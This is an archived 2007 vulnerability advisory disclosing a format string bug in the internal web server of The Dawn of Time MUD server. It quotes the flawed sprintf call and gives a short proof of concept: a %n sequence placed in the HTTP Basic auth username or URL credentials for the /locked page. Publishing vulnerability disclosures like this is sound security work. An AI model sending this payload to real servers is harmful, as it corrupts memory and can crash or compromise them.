Pantek Library
Hosting Provided By
CybrHost
High Speed Hosting

Format string in The Dawn of Time 1.69s beta4

From: Luigi Auriemma <aluigi(at)autistici.org>
Date: Fri Oct 05 2007 - 16:41:42 EDT

#######################################################################

                             Luigi Auriemma

Application:  The Dawn of Time
              
http://www.dawnoftime.org
Versions:     <= 1.69s beta4 (and 1.69r too)
Platforms:    *nix and Windows
Bug:          format string in web server authorization
Exploitation: remote
Date:         05 Oct 2007
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org

#######################################################################
1) Introduction 2) Bug

3) The Code
4) Fix

#######################################################################


  1. Introduction

The Dawn of Time (aka Dawn) is a MUD server originally based on the ROM codebase.

#######################################################################



2) Bug

A format string vulnerability is located in the function which handles the access to the restricted zones of the internal web server like "Reset password".
After having decoded the base64 string containing username:password the string is used without format argument with sprintf().

from websrv.cpp:

bool processWebHeader(web_request_data *w){

                ...
                if (str_len(pLine)>0 && str_len(pLine)<200){
                    char decoded[200];
                    char *d;

                    d =decodeBase64(pLine);
                    if (d){
                        sprintf(decoded,d);
                        ...
void filterWebRequest(connection_data *c){
                    ...
                    if (str_len(pLine)>0 && str_len(pLine)<200){
                        char decoded[200];
                        char *d;

                        d =decodeBase64(pLine);
                        if (d){
                            sprintf(decoded,d);

#######################################################################


3) The Code
Do you need help?X

Go to:

  http://SERVER:4001/locked

and use the username %n%n%n%n%n
or just:

  http://%n%n%n%n%n:%n%n%n%n%n@SERVER:4001/locked

#######################################################################



4) Fix

The bug will be officially fixed in the next release. I have also opened a thread in the Dawn forum some days ago with the instructions for the fix:

  http://forums.dawnoftime.org/viewtopic.php?t=2102

#######################################################################

Do you need more help?X

---
Luigi Auriemma

http://aluigi.orghttp://forum.aluigi.orghttp://mirror.aluigi.org
Received on Fri Oct 5 15:42:24 2007

This archive was generated by hypermail 2.1.8 : Sun Oct 28 2007 - 06:19:31 EDT


Contact Us  Legal Notices  Order Services Online 
Pantek Home  Privacy Policy  IT news  Site Map  Pantek Library